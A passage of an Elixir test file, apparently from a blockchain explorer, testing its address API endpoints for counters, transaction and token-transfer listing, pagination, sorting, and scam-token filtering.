%{ + "hash" => ^checksummed_proxy_address_hash, + "is_contract" => true, + "is_verified" => true, + "name" => ^name, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "creator_address_hash" => ^from, + "creation_transaction_hash" => ^transaction_hash, + "creation_status" => "success", + "proxy_type" => "resolved_delegate_proxy", + "implementations" => [ + %{ + "address_hash" => ^implementation_address_hash_string, + "name" => nil + } + ] + } = json_response + end + + test "get watchlist id", %{conn: conn} do + auth = build(:auth) + address = insert(:address) + {:ok, user} = Identity.find_or_create(auth) + + conn = Plug.Test.init_test_session(conn, current_user: user) + + watchlist_address = + Repo.account_repo().insert!(%WatchlistAddress{ + name: "wallet", + watchlist_id: user.watchlist_id, + address_hash: address.hash, + address_hash_hash: hash_to_lower_case_string(address.hash), + watch_coin_input: true, + watch_coin_output: true, + watch_erc_20_input: true, + watch_erc_20_output: true, + watch_erc_721_input: true, + watch_erc_721_output: true, + watch_erc_1155_input: true, + watch_erc_1155_output: true, + notify_email: true + }) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} + end) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + + assert response["watchlist_address_id"] == watchlist_address.id + end + + test "broadcasts fetched_bytecode event", %{conn: conn} do + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + contract_code = "0x6080" + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: contract_code}]} + end) + + topic = "addresses:#{address_hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = get(conn, "/api/v2/addresses/#{address.hash}") + assert _response = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{fetched_bytecode: ^contract_code}, + event: "fetched_bytecode", + topic: ^topic + }, + :timer.seconds(1) + end + end + + describe "/addresses/{address_hash}/counters" do + test "get 200 on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/counters") + + json_response = json_response(request, 200) + + assert %{ + "transactions_count" => "0", + "token_transfers_count" => "0", + "gas_usage_count" => "0", + "validations_count" => "0" + } = json_response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/counters") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get counters with 0s", %{conn: conn} do + address = insert(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/counters") + + json_response = json_response(request, 200) + + assert %{ + "transactions_count" => "0", + "token_transfers_count" => "0", + "gas_usage_count" => "0", + "validations_count" => "0" + } = json_response + end + + test "get counters", %{conn: conn} do + address = insert(:address) + + transaction_from = insert(:transaction, from_address: address) |> with_block() + insert(:transaction, to_address: address) |> with_block() + another_transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: another_transaction, + block: another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:token_transfer, + to_address: address, + transaction: another_transaction, + block: another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:block, miner: address) + + Counters.transactions_count(address) + Counters.token_transfers_count(address) + Counters.gas_usage_count(address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/counters") + json_response = json_response(request, 200) + gas_used = to_string(transaction_from.gas_used) + + assert %{ + "transactions_count" => "2", + "token_transfers_count" => "2", + "gas_usage_count" => ^gas_used, + "validations_count" => "1" + } = json_response + end + end + + describe "/addresses/{address_hash}/transactions" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + json_response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = json_response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/transactions") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get relevant transaction", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, from_address: address) |> with_block() + + insert(:transaction) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(transaction, Enum.at(response["items"], 0)) + end + + test "get pending transaction", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, from_address: address) |> with_block() + pending_transaction = insert(:transaction, from_address: address) + + insert(:transaction) |> with_block() + insert(:transaction) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 2 + assert response["next_page_params"] == nil + + compare_item(pending_transaction, Enum.at(response["items"], 0)) + compare_item(transaction, Enum.at(response["items"], 1)) + end + + test "get only :to transaction", %{conn: conn} do + address = insert(:address) + + insert(:transaction, from_address: address) |> with_block() + transaction = insert(:transaction, to_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"filter" => "to"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(transaction, Enum.at(response["items"], 0)) + end + + test "get only :from transactions", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, from_address: address) |> with_block() + insert(:transaction, to_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"filter" => "from"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(transaction, Enum.at(response["items"], 0)) + end + + test "validated transactions can paginate", %{conn: conn} do + address = insert(:address) + + transactions = insert_list(51, :transaction, from_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test "pending transactions can paginate", %{conn: conn} do + address = insert(:address) + + transactions = insert_list(51, :transaction, from_address: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test "pending + validated transactions can paginate", %{conn: conn} do + address = insert(:address) + + transactions_pending = insert_list(51, :transaction, from_address: address) + transactions_validated = insert_list(50, :transaction, to_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions_pending, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions_pending, 1), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 50 + assert response_2nd_page["next_page_params"] != nil + compare_item(Enum.at(transactions_pending, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(transactions_validated, 49), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(transactions_validated, 1), Enum.at(response_2nd_page["items"], 49)) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", response_2nd_page["next_page_params"]) + assert response = json_response(request, 200) + + check_paginated_response( + response_2nd_page, + response, + transactions_validated ++ [Enum.at(transactions_pending, 0)] + ) + end + + test ":to transactions can paginate", %{conn: conn} do + address = insert(:address) + + transactions = insert_list(51, :transaction, to_address: address) |> with_block() + insert_list(51, :transaction, from_address: address) |> with_block() + + filter = %{"filter" => "to"} + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/transactions", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test ":from transactions can paginate", %{conn: conn} do + address = insert(:address) + + insert_list(51, :transaction, to_address: address) |> with_block() + transactions = insert_list(51, :transaction, from_address: address) |> with_block() + + filter = %{"filter" => "from"} + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/transactions", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test ":from + :to transactions can paginate", %{conn: conn} do + address = insert(:address) + + transactions_from = insert_list(50, :transaction, from_address: address) |> with_block() + transactions_to = insert_list(51, :transaction, to_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions_to, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions_to, 1), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 50 + assert response_2nd_page["next_page_params"] != nil + compare_item(Enum.at(transactions_to, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(transactions_from, 49), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(transactions_from, 1), Enum.at(response_2nd_page["items"], 49)) + + request_3rd_page = + get(conn, "/api/v2/addresses/#{address.hash}/transactions", response_2nd_page["next_page_params"]) + + assert response_3rd_page = json_response(request_3rd_page, 200) + + check_paginated_response(response_2nd_page, response_3rd_page, transactions_from ++ [Enum.at(transactions_to, 0)]) + end + + test "422 on wrong ordering params", %{conn: conn} do + address = insert(:address) + + insert_list(51, :transaction, from_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "foo", "order" => "bar"}) + assert json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid value for enum", + "source" => %{"pointer" => "/sort"}, + "title" => "Invalid value" + }, + %{ + "detail" => "Invalid value for enum", + "source" => %{"pointer" => "/order"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "backward compatible with legacy paging params", %{conn: conn} do + address = insert(:address) + block = insert(:block) + + transactions = insert_list(51, :transaction, from_address: address) |> with_block(block) + + [_, transaction_before_last | _] = transactions + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"block_number" => to_string(block.number), "index" => to_string(transaction_before_last.index)} + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test "backward compatible with legacy paging params for pending transactions", %{conn: conn} do + address = insert(:address) + + transactions = insert_list(51, :transaction, from_address: address) + + [_, transaction_before_last | _] = transactions + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions") + assert response = json_response(request, 200) + + request_2nd_page_pending = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{ + "inserted_at" => to_string(transaction_before_last.inserted_at), + "hash" => to_string(transaction_before_last.hash) + } + ) + + assert response_2nd_page_pending = json_response(request_2nd_page_pending, 200) + + check_paginated_response(response, response_2nd_page_pending, transactions) + end + + test "can order and paginate by fee ascending", %{conn: conn} do + address = insert(:address) + + transactions_from = insert_list(25, :transaction, from_address: address) |> with_block() + transactions_to = insert_list(26, :transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort( + &(Decimal.compare(&1 |> Transaction.fee(:wei) |> elem(1), &2 |> Transaction.fee(:wei) |> elem(1)) in [ + :eq, + :lt + ]) + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "fee", "order" => "asc"}) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "fee", "order" => "asc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "can order and paginate by fee descending", %{conn: conn} do + address = insert(:address) + + transactions_from = insert_list(25, :transaction, from_address: address) |> with_block() + transactions_to = insert_list(26, :transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort( + &(Decimal.compare(&1 |> Transaction.fee(:wei) |> elem(1), &2 |> Transaction.fee(:wei) |> elem(1)) in [ + :eq, + :gt + ]) + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "fee", "order" => "desc"}) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "fee", "order" => "desc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "can order and paginate by value ascending", %{conn: conn} do + address = insert(:address) + + transactions_from = insert_list(25, :transaction, from_address: address) |> with_block() + transactions_to = insert_list(26, :transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort(&(Decimal.compare(Wei.to(&1.value, :wei), Wei.to(&2.value, :wei)) in [:eq, :lt])) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "value", "order" => "asc"}) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "value", "order" => "asc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "can order and paginate by value descending", %{conn: conn} do + address = insert(:address) + + transactions_from = insert_list(25, :transaction, from_address: address) |> with_block() + transactions_to = insert_list(26, :transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort(&(Decimal.compare(Wei.to(&1.value, :wei), Wei.to(&2.value, :wei)) in [:eq, :gt])) + + request = get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "value", "order" => "desc"}) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "value", "order" => "desc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "can order and paginate by block number ascending", %{conn: conn} do + address = insert(:address) + + transactions_from = + for _ <- 0..24, do: insert(:transaction, from_address: address) |> with_block() + + transactions_to = for _ <- 0..25, do: insert(:transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort_by(& &1.block.number) + + request = + get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "block_number", "order" => "asc"}) + + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "block_number", "order" => "asc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "can order and paginate by block number descending", %{conn: conn} do + address = insert(:address) + + transactions_from = + for _ <- 0..24, do: insert(:transaction, from_address: address) |> with_block() + + transactions_to = for _ <- 0..25, do: insert(:transaction, to_address: address) |> with_block() + + transactions = + (transactions_from ++ transactions_to) + |> Enum.sort_by(& &1.block.number, :desc) + + request = + get(conn, "/api/v2/addresses/#{address.hash}/transactions", %{"sort" => "block_number", "order" => "desc"}) + + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/transactions", + %{"sort" => "block_number", "order" => "desc"} |> Map.merge(response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(transactions, 0), Enum.at(response["items"], 0)) + compare_item(Enum.at(transactions, 49), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 1 + assert response_2nd_page["next_page_params"] == nil + compare_item(Enum.at(transactions, 50), Enum.at(response_2nd_page["items"], 0)) + + check_paginated_response(response, response_2nd_page, transactions |> Enum.reverse()) + end + + test "regression test for decoding issue", %{conn: conn} do + from_address = insert(:address) + to_address = build(:address) + + insert(:transaction, from_address: from_address, to_address_hash: to_address.hash, to_address: to_address) + + Explorer.Repo.delete(to_address) + + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + chain_id = 1 + Application.put_env(:block_scout_web, :chain_id, chain_id) + + old_env_bens = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.BENS) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + old_env_metadata = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.Metadata) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Bypass.expect_once(bypass, "POST", "api/v1/#{chain_id}/addresses:batch_resolve_names", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{ + "names" => %{ + to_string(to_address) => "test.eth" + } + }) + ) + end) + + Bypass.expect_once(bypass, "GET", "api/v1/metadata", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{ + "addresses" => %{ + to_string(to_address) => %{ + "tags" => [ + %{ + "name" => "Proposer Fee Recipient", + "ordinal" => 0, + "slug" => "proposer-fee-recipient", + "tagType" => "generic", + "meta" => "{\"styles\":\"danger_high\"}" + } + ] + } + } + }) + ) + end) + + request = get(conn, "/api/v2/addresses/#{from_address.hash}/transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + transaction = Enum.at(response["items"], 0) + assert transaction["to"]["ens_domain_name"] == "test.eth" + + assert transaction["to"]["metadata"] == %{ + "tags" => [ + %{ + "slug" => "proposer-fee-recipient", + "name" => "Proposer Fee Recipient", + "ordinal" => 0, + "tagType" => "generic", + "meta" => %{"styles" => "danger_high"} + } + ] + } + + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, old_env_bens) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, old_env_metadata) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end + end + + describe "/addresses/{address_hash}/token-transfers" do + test "get token transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/token-transfers") + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/addresses/#{address.hash}/token-transfers") |> json_response(200) + end + + test "get token transfers with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + insert(:scam_badge_to_address, address_hash: token_transfer.token_contract_address_hash) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/token-transfers") + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-transfers") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + insert(:scam_badge_to_address, address_hash: token_transfer.token_contract_address_hash) + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get 200 on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + json_response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = json_response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/token-transfers") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get 200 on non existing address of token", %{conn: conn} do + address = insert(:address) + + token = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", %{"token" => to_string(token.hash)}) + json_response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = json_response + end + + test "get 422 on invalid token address hash", %{conn: conn} do + address = insert(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", %{"token" => "0x"}) + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/token"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get relevant token transfer", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(token_transfer, Enum.at(response["items"], 0)) + end + + test "method in token transfer could be decoded", %{conn: conn} do + insert(:contract_method, + identifier: Base.decode16!("731133e9", case: :lower), + abi: %{ + "constant" => false, + "inputs" => [ + %{"name" => "account", "type" => "address"}, + %{"name" => "id", "type" => "uint256"}, + %{"name" => "amount", "type" => "uint256"}, + %{"name" => "data", "type" => "bytes"} + ], + "name" => "mint", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + ) + + address = insert(:address) + + transaction = + insert(:transaction, + input: + "0x731133e9000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001700000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000" + ) + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(token_transfer, Enum.at(response["items"], 0)) + assert Enum.at(response["items"], 0)["method"] == "mint" + end + + test "get relevant token transfer filtered by token", %{conn: conn} do + token = insert(:token) + + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: token.contract_address + ) + + request = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", %{ + "token" => to_string(token.contract_address) + }) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(token_transfer, Enum.at(response["items"], 0)) + end + + test "token transfers by token can paginate", %{conn: conn} do + address = insert(:address) + + token = insert(:token) + + token_transfers = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: token.contract_address + ) + end + + params = %{"token" => to_string(token.contract_address)} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(params, response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "get only :to token transfer", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", %{"filter" => "to"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(token_transfer, Enum.at(response["items"], 0)) + end + + test "get only :from token transfer", %{conn: conn} do + address = insert(:address) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address + ) + + 